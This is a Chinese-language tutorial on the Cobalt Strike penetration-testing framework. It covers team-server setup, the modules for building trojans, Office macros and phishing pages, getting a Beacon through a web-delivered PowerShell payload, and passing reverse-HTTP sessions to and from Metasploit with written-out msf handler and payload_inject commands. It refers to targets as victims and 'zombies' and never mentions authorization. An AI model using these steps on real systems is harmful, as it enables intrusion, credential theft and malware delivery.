Cobalt Strike簡介
Cobalt Strike是一款由java編寫的全平台多方協同滲透測試框架,在3.0版本之前它基於Metasploit框架工作,在3.0后的版本以獨立成一個滲透測試平台。CobaltStrike集成了端口轉發、端口掃描、socket代理、提權、釣魚、遠控木馬等功能。該工具幾乎覆蓋了APT攻擊鏈中所需要用到的各個技術環節,且其最大的優點在於可以進行團隊合作和優越的UI界面。
Cobalt Strike文件結構
│ agscript 拓展應用的腳本 │ c2lint 檢查profile的錯誤異常 │ cobaltstrike 客戶端程序 │ cobaltstrike.jar │ logs 日志 │ data TeamServer的一些數據 │ teamserver 團隊服務器程序 │ update 用於更新Cobalt Strike │ update.jar │ third-party 第三方工具
Cobalt Strike使用
CobaltStrike分為客戶端和服務端,Cobalt Strike 需要團隊服務器才能使用。
(1)啟動TeamServer
./teamserver 192.168.178.128 123456 #ip為本機服務器ip 123456為設置的密碼
如果要將團隊服務器部署在公網上,記得加強密碼強度,防止團隊服務器密碼被破解
(2)啟動Cobalt Strike Client
Host為團隊服務器ip地址
Port為默認端口
User為連接的用戶,用戶可以自行選擇
Password為團隊服務器設置的密碼
點擊Connect連接之后
再點擊是,則加入成功。
Cobalt Strike模塊詳解
Cobalt Strike模塊
New Connection # 新建連接,支持連接多個服務器端
Preferences # 設置Cobal Strike界面、控制台、以及輸出報告樣式、TeamServer連接記錄
Visualization # 主要展示輸出結果的視圖
VPN Interfaces # 設置VPN接口
Listenrs # 創建監聽器
Script Manager # 腳本管理,可以通過AggressorScripts腳本來加強自身,能夠擴展菜單欄,Beacon命令行,提權腳本等
Close # 退出連接
View模塊
Applications # 顯示受害主機的應用信息
Credentials # 顯示所有以獲取的受害主機的憑證,如hashdump、Mimikatz
Downloads # 查看已下載文件
Event Log # 主機上線記錄以及團隊協作聊天記錄
Keystrokes # 查看鍵盤記錄結果
Proxy Pivots # 查看代理模塊
Screenshots # 查看所有屏幕截圖
Script Console # 加載第三方腳本以增強功能
Targets # 顯示所有受害主機
Web Log # 所有Web服務的日志
Attacks模塊
Packages
HTML Application # 生成(executable/VBA/powershell)這三種原理實現的惡意HTA木馬文件 MS Office Macro # 生成office宏病毒文件 Payload Generator # 生成各種語言版本的payload Windows Executable # 生成可執行exe木馬 Windows Executable(Stageless) # 生成無狀態的可執行exe木馬
Web-Drive-by
Manage # 對開啟的web服務進行管理 Clone Site # 克隆網站,可以記錄受害者提交的數據 Host File # 提供文件下載,可以選擇Mime類型 Scripted Web Delivery # 為payload提供web服務以便下載和執行,類似於Metasploit的web_delivery Signed Applet Attack # 使用java自簽名的程序進行釣魚攻擊(該方法已過時) Smart Applet Attack # 自動檢測java版本並進行攻擊,針對Java 1.6.0_45以下以及Java 1.7.0_21以下版本(該方法已過時) Spear Phish # 魚叉釣魚郵件
Reporting模塊
Activity Report # 活動報告
Hosts Report # 主機報告
Indicators of Compromise # IOC報告:包括C2配置文件的流量分析、域名、IP和上傳文件的MD5 hashes
Sessions Report # 會話報告
Social Engineering Report # 社會工程報告:包括魚叉釣魚郵件及點擊記錄
Tactics, Techniques, and Procedures # 戰術技術及相關程序報告:包括行動對應的每種戰術的檢測策略和緩解策略
Reset Data # 重置數據
Export Data # 導出數據,導出.tsv文件格式
Help模塊
Homepage # 官方主頁
Support # 技術支持
Arsenal # 開發者
System information # 版本信息
About # 關於
工具導航欄
1.新建連接 2.斷開當前連接 3.監聽器 4.改變視圖為Pivot Graph(視圖列表) 5.改變視圖為Session Table(會話列表) 6.改變視圖為Target Table(目標列表) 7.顯示所有以獲取的受害主機的憑證 8.查看已下載文件 9.查看鍵盤記錄結果 10.查看屏幕截圖 11.生成無狀態的可執行exe木馬 12.使用java自簽名的程序進行釣魚攻擊 13.生成office宏病毒文件 14.為payload提供web服務以便下載和執行 15.提供文件下載,可以選擇Mime類型 16.管理Cobalt Strike上運行的web服務 17.幫助 18.關於
利用Cobalt Strike獲取一個Beacon
1、創建Listener
在Listeners的面板中點擊Add
然后輸入名稱(任意),選擇監聽器類型,團隊服務器ip和監聽端口保存即可。
然后在監聽的面板中就可以看到我們的監聽器
在有了監聽器之后,我們就可以選擇我們的攻擊模塊進行漏洞利用了。我們這里選擇Scripted Web Delivery攻擊模塊(為payload提供web服務以便下載和執行,類似於Metasploit的web_delivery)
然后配置號監聽端口和監聽器后點擊Launch
然后會生成一個payload
復制payload在powershell中執行,肉雞即可上線
我們可以進如Interact的交互模式進行執行命令
Cobalt Strike功能詳解
Listeners(監聽模塊)
在監聽模塊中內置了八個內置payload
wndows/beacon_dns/reverse_dns_txt windows/beacon_http/reverse_http windows/beacon_https/reverse_https windows/beacon_bind_pipe windows/beacon_tcp windows/beacon_extc2 windows/foreign/reverse_http windows/foreign/reverse_https
這些payload中windows/beacon為內置監聽器,且有dns、http、https、smb、tcp、extc2六種監聽方式,windows/foreign為外部監聽器。
內置監聽器的使用原理和之前配置監聽器原理大致相同,這里主要再演示一下外部監聽器的使用。
首先我們選擇外置監聽器Foreign模塊,填寫相關配置內容
然后打開在msf中配置相應監聽模塊
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http msf5 exploit(multi/handler) > set lhost 192.168.178.128 #此處的IP地址和監聽端口要和cs中設置的保持一致 msf5 exploit(multi/handler) > set lport 4444
msf5 exploit(multi/handler) > run
配置好之后我們就可以通過此監聽器來傳遞我們的shell了,點擊spawn
選擇我們設置的msf這個外監聽器
這樣在msf這邊就可以接受到cs這邊傳遞過來的shell
這里講述到了cs傳遞shell到msf,就不得不在提一提msf傳遞到cs了。
首先我們把剛才接受到的session退出,這里記住這個session的id為1
然后使用模塊
msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject
msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http #切記這里的payload的協議要與cs的一致
選擇上了這個模塊之后我們在回到cs上創建一個監聽器,我這里有個之前創建好的監聽器
那我們繼續回到msf上配置session和lhost和lport(切記這里的lhost和lport要和cs上監聽器上配置的是一致的)
然后run執行在cs上等待上線即可。
Attacks(攻擊模塊)
Scripted Web Delivery
上面演示的是使用attacks模塊中的scripted web delivery模塊來進行拿到靶機的shell
這里有幾個配置選項
URL Path:存放payload的位置
Local Host:團隊服務器ip地址
Local Port:團隊服務器端口
Listener:監聽器
Type:要選擇的腳本類型
全部配置好了之后,點擊launch后,會彈出payload
在靶機上運行之后,靶機會在Teamserver下載payload,然后執行並加載到內存中,從而獲取主機的Beacon。
Manage
我們生成的監聽器和一些payload都能在這里進行管理。
Windows Executable
使用方法也和之前大致相同,配置好監聽器和Output即可,這里的Output分為EXE和DLL兩種類型。
Windows EXE:windows的可執行文件
Windows Service EXE:基於服務的windows可執行文件,可以將可執行文件添加到服務中。
Windows DLL:DLL文件,一般用於DLL劫持、提權和反彈Beacon。
Payload Generator
配置監聽器,選擇對應腳本語言即可。